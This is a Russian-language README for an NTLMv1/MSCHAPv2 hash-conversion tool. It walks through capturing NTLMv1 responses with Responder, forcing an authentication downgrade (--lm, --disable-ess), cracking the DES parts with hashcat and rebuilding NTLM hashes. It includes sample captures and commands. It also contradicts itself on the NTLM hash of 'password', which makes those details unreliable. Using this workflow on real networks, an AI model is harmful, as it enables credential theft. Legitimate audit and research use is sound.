
NTLMv1 Multitool
Этот инструмент преобразует NTLMv1-хэши в NTLM, точнее, приводит ответы на challenge NTLMv1 к формату, который можно взломать с помощью hashcat в режиме 14000.
Если указать --ct3, инструмент сам вычислит последние 4 символа NTLM-хэша; если указать --json, то --ct3 подразумевается автоматически, и результат будет возвращён как элемент pt3, например:
python3 ntlmv1.py --ntlm "DC1$::MOG:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:1122334455667788" --json
{"ntlmv1": "DC1$::MOG:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:1122334455667788", "user": "DC1$", "domain": "MOG", "challenge": "1122334455667788", "lmresp": "AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E", "ntresp": "AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E", "ct3": "352661ECEF909C5E", "ct3_crack": "ct3_to_ntlm.bin 352661ECEF909C5E 1122334455667788", "pt3": "8c71", "hash1": "AC51EC464A91A35A:1122334455667788", "hash2": "04A862DA3106EC2B:1122334455667788"}
Наконец, в этом обновлении я перенёс функции в main(), чтобы модуль можно было просто импортировать для прямого использования.
Я добавил две новые опции: --hashcat и --hcutils. Они задают путь к вашим hashcat и hashcat-utils соответственно, чтобы можно было напрямую копировать и вставлять данные из инструмента.
Инструмент запускается так, если ваш каталог hashcat находится в ~/git/hashcat, а каталог hashcat-utils — в ~/git/hashcat-utils:
python3 ./ntlmv1.py --ntlm "SERVER1$::MOG:9DE7F41D81C1207400000000000000000000000000000000:DE766A98B60D1C911DCFFFDBB3E521314B2CE34EAB63CC7B:1122334455667788" --hashcat "~/git/hashcat" --hcutils "~/git/hashcat-utils"
Да, теперь это совместимо с Python 3. Также я объединил ntlmv1 и ntlmv1-ess.
Мультиинструмент NTLMv1
Этот инструмент модифицирует хэши NTLMv1/NTLMv1-ESS/MSCHAPv2, чтобы их можно было взломать в hashcat с помощью режима DES 14000.
Инструмент основан на работе atom из команды Hashcat: https://hashcat.net/forum/thread-5832.html
Он также основан на https://hashcat.net/forum/thread-5912.html и https://www.youtube.com/watch?v=LIHACAct2vo
Установите инструмент нового поколения ntlmv1_nextgen.py как глобальную команду ntlmv1-multi с помощью uv:
uv tool install .
ntlmv1-multi --ntlmv1 "hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788"
Или запустите его напрямую из репозитория без установки:
uv run ntlmv1_nextgen.py --ntlmv1 "hashcat::DUSTIN-5AA37877:..."
В проекте есть pyproject.toml (требуется Python 3.14+, зависимость pycryptodome), так что uv сам разрешит все зависимости; исходный ntlmv1.py по-прежнему работает автономно с любым интерпретатором Python 3.
ntlmv1_nextgen.py)ntlmv1_nextgen.py (устанавливаемый как команда ntlmv1-multi) — это современный парсер. Он принимает NTLMv1, $99$-блобы и MSCHAPv2, автоматически обрабатывает ESS и может завершить полное преобразование NTLMv1 -> NTLM из взломанного potfile за один шаг. Доступные опции:
Для перехвата используйте Responder с флагом --lm; без --lm активируется ESS, и взлом займёт больше времени. Также появился новый флаг --disable-ess, который пытается отключить ESS и принудительно выполнить даунгрейд. Сначала попробуйте --disable-ess, а если не получится — --lm. При использовании --disable-ess или --lm убедитесь, что ваш клиентский challenge равен 1122334455667788, чтобы задействовать FPGA; однако это может вызвать срабатывание некоторых сетевых IDS/IPS, если они увидят такой трафик.
Захват будет выглядеть так:
[SMB] NTLMv1 Client : 184.64.60.62
[SMB] NTLMv1 Username : DUSTIN-5AA37877\hashcat
[SMB] NTLMv1 Hash : hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
[*] Skipping previously captured hash for DUSTIN-5AA37877\hashcat
Часть с хэшем выглядит так:
hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
Итак, используйте мультиинструмент следующим образом (он также совместим с Python 2):
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
Он выведет следующие данные без изменения серверных challenge и т.д.:
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
В данном случае используется пароль «password», и мы можем проверить NTLM-хэш с помощью:
echo -n password | iconv -f utf8 -t utf16le | openssl dgst -md4
(stdin)= 8846f7eaee8fb117ad06bdd830b7586c
С помощью утилиты ct3_to_ntlm.bin из hashcat-utils, написанной atom, можно вычислить последние 4 символа NTLM-хэша из NTLMv1 challenge, который выводит инструмент:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
586c
Это совпадает с концом NTLM-хэша, так что всё сходится. Следующий шаг — взлом хэшей с помощью hashcat, поэтому нужно создать файл hashes.txt с содержимым:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
Для взлома с помощью hashcat используйте:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
Важное замечание: hashcat возвращает DES-ключи, а не NTLM-ключи. Их нужно преобразовать в NTLM с помощью deskey_to_ntlm.pl из Hashcat Utils; это делается так:
./deskey_to_ntlm.pl [cracked des key 1]
./deskey_to_ntlm.pl [cracked des key 2]
Затем нужно объединить два NTLM-ключа с третьей частью пароля, вычисляемой по выводу инструмента:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
Сложите все три части вместе — и готово.
Если вы просто тестируете мой код и уже знаете пароль, можно воспользоваться конвертером DES:
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
DESKEY1: b55d6d04e67926
DESKEY2: bcba83e6895b9d
echo "$HEX[b55d6d04e67926]">>des.cand
echo "$HEX[bcba83e6895b9d]">>des.cand
По сути, нужно сделать следующее:
echo "$HEX[b55d6d04e67926]">>des.cand
echo "$HEX[bcba83e6895b9d]">>des.cand
./hashcat -m 14000 -a 0 hashes.txt des.cand
И вы должны получить несколько восстановленных хэшей.
ESS изменяет серверный challenge. Если в вашем Responder появился ESS, потому что вы не использовали --lm или клиент настроен не выдавать LM-ответ, то задействуется ESS. Кроме того, --disable-ess попытается принудительно отключить ESS, но для этого требуется свежая копия (август 2021 года или новее) impacket и Responder.
Вывод ESS выглядит так:
[SMB] NTLMv1-SSP Client : 184.64.60.62
[SMB] NTLMv1-SSP Username : DUSTIN-5AA37877\hashcat
[SMB] NTLMv1-SSP Hash : hashcat::DUSTIN-5AA37877:85D5BC2CE95161CD00000000000000000000000000000000:892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0:1122334455667788
Сам хэш выглядит так:
hashcat::DUSTIN-5AA37877:85D5BC2CE95161CD00000000000000000000000000000000:892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0:1122334455667788
Для запуска инструмента выполните (совместимо с Python 3):
python3 ntlmv1.py --ntlmv1 "hashcat::DUSTIN-5AA37877:85D5BC2CE95161CD00000000000000000000000000000000:892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0:1122334455667788"
Инструмент выведет:
Hashfield Split:
['hashcat', '', 'DUSTIN-5AA37877', '85D5BC2CE95161CD00000000000000000000000000000000', '892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0', '1122334455667788']
Hostname: DUSTIN-5AA37877
Username: hashcat
LM Response: 85D5BC2CE95161CD00000000000000000000000000000000
NT Response: 892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0
Client Challenge: 1122334455667788
SRV Challenge: b36d2b9a8607ea77
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin 2BBD6C9ABCD021D0 1122334455667788 85D5BC2CE95161CD00000000000000000000000000000000
To crack with hashcat create a file with the following contents:
892F905962F76D32:b36d2b9a8607ea77
3837F613F88DE27C:b36d2b9a8607ea77
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
Теперь пароль, который мы используем в этом случае, — password, и его NTLM-хэш равен b4b9b02e6f09a9bd760f388b67351e2b:
echo -n password | iconv -f utf8 -t utf16le | openssl dgst -md4
(stdin)= 8846f7eaee8fb117ad06bdd830b7586c
Итак, чтобы вычислить последние 4 символа NTLM-хэша для нашего challenge NTLMv1-ESS, используем следующую команду из вывода инструмента, чтобы получить 586c:
./ct3_to_ntlm.bin 2BBD6C9ABCD021D0 1122334455667788 85D5BC2CE95161CD00000000000000000000000000000000
Согласно выводу инструмента, нужно создать файл с хэшами следующего содержания, в котором изменены SRV Challenge для работы с ESS:
892F905962F76D32:b36d2b9a8607ea77
3837F613F88DE27C:b36d2b9a8607ea77
Для взлома с помощью hashcat, согласно выводу инструмента, используем следующее:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
Важное замечание: hashcat возвращает DES-ключи, а не NTLM-ключи. Их нужно преобразовать в NTLM с помощью deskey_to_ntlm.pl из Hashcat Utils; это делается так:
./deskey_to_ntlm.pl [cracked des key 1]
./deskey_to_ntlm.pl [cracked des key 2]
Теперь, допустим, мы уже знали NTLM-хэш в этом случае, потому что создали его сами, и хотим проверить инструментарий. Используем следующее:
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
Это выведет для нас некоторые данные:
DESKEY1: b55d6d04e67926
DESKEY2: bcba83e6895b9d
echo "$HEX[b55d6d04e67926]">>des.cand
echo "$HEX[bcba83e6895b9d]">>des.cand
Важная часть здесь:
echo "$HEX[b55d6d04e67926]">>des.cand
echo "$HEX[bcba83e6895b9d]">>des.cand
Теперь мы можем взломать с помощью hashcat, используя следующую команду, и не ждать 8 дней:
./hashcat -m 14000 -a 0 hashes.txt des.cand
python ntlm-to-des.py --ntlm 8846f7eaee8fb117ad06bdd830b7586c
DESKEY1: b55d6d05e6792652
DESKEY2: bdba82e6895a9d6a
echo "$HEX[b55d6d05e6792652]">>des.cand
echo "$HEX[bdba82e6895a9d6a]">>des.cand
Теперь инструмент поддерживает вывод в формате JSON; установите флаг --json, и он выведет JSON:
python3 ntlmv1.py --ntlmv1 "SERVER1$::MOG:7EF3F506F5EA510E00000000000000000000000000000000:1217169BD7BE0270A033899BD440016D3E6DACAF5894D504:ff81dfd6b12c269d" --json
{"ntlmv1": "SERVER1$::MOG:7EF3F506F5EA510E00000000000000000000000000000000:1217169BD7BE0270A033899BD440016D3E6DACAF5894D504:ff81dfd6b12c269d", "user": "SERVER1$", "domain": "MOG", "challenge": "ff81dfd6b12c269d", "lmresp": "7EF3F506F5EA510E00000000000000000000000000000000", "ntresp": "1217169BD7BE0270A033899BD440016D3E6DACAF5894D504", "ct3": "3E6DACAF5894D504", "srvchallenge": "888f8ee0fa031808", "ct3_crack": "ct3_to_ntlm.bin 3E6DACAF5894D504 ff81dfd6b12c269d 7EF3F506F5EA510E00000000000000000000000000000000", "hash1": "1217169BD7BE0270:888f8ee0fa031808", "hash2": "A033899BD440016D:888f8ee0fa031808", "CRACK_SH": "$NETLM$888f8ee0fa031808$1217169BD7BE0270A033899BD440016D3E6DACAF5894D504"}
Важные поля:
После того как вы взломали DES-хэши режима 14000 с помощью hashcat, взломанные DES-ключи попадают в potfile в виде строк ct:challenge:key (ключ обычно хранится как $HEX[...], поскольку это сырые байты). Вместо ручного копирования ключей через --key1/--key2 укажите ntlmv1_nextgen.py на potfile, и он восстановит ключи, проверит их по шифротекстам и завершит полное преобразование NTLMv1 -> NTLM за один шаг:
python3 ntlmv1_nextgen.py --ntlmv1 "hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788" --potfile ~/.local/share/hashcat/hashcat.potfile
Восстановленный NTLM-хэш выводится в поле NTLM (или ntlm при использовании --json). --potfile работает с --ntlmv1, --99 и --mschapv2, обрабатывает ESS-хэши (сопоставляя по challenge, полученному через MD5) и игнорирует посторонние записи potfile. Явно заданные --key1/--key2 по-прежнему имеют приоритет над совпадениями из potfile.
Принимаются potfile как от hashcat, так и от rainbowcrackalack. Поле взломанного ключа может быть $HEX[...]-блобом hashcat, открытыми печатными байтами, 16-hex 8-байтовым ключом или 14-hex 7-байтовым ключом (в форме, которую выдаёт rainbowcrackalack) — все варианты нормализуются и повторно проверяются по шифротексту перед использованием.
Этот репозиторий основан на сообщениях на форуме от atom, автора hashcat, и на исследованиях moxie marlinspike. Поскольку код atom в значительной степени распространяется под лицензией MIT, этот проект также принял эту лицензию для совместимости. Этот проект не использует GPL, чтобы любая организация могла включить его в коммерческий проект без ограничений.
| Опция | Описание |
|---|
--ntlmv1 <hash> | NTLMv1-хэш в формате Responder (user::host:LM:NT:challenge). |
--99 <blob> | base64-блоб в стиле $99$. |
--mschapv2 <hash> | Хэш MSCHAPv2 в формате John the Ripper. |
--nthash <hex> | 32-символьный NTLM-хэш; вычисляет DES-ключи и кандидаты для hashcat. |
--password <pw> | Вычисляет DES-ключи --key1/--key2 из известного пароля. |
--key1 <hex> / --key2 <hex> | Задать 16-hex DES-ключи для CT1/CT2 напрямую (имеют приоритет над --potfile). |
--potfile <path> | Potfile от hashcat/rainbowcrackalack со взломанными ключами режима 14000; автоматически восстанавливает key1/key2 для завершения преобразования NTLMv1 -> NTLM. |
--hashcat | Выводит строки в формате hashcat для CT1/CT2. |
--json | Выводить только JSON (подразумевает вычисление CT3). |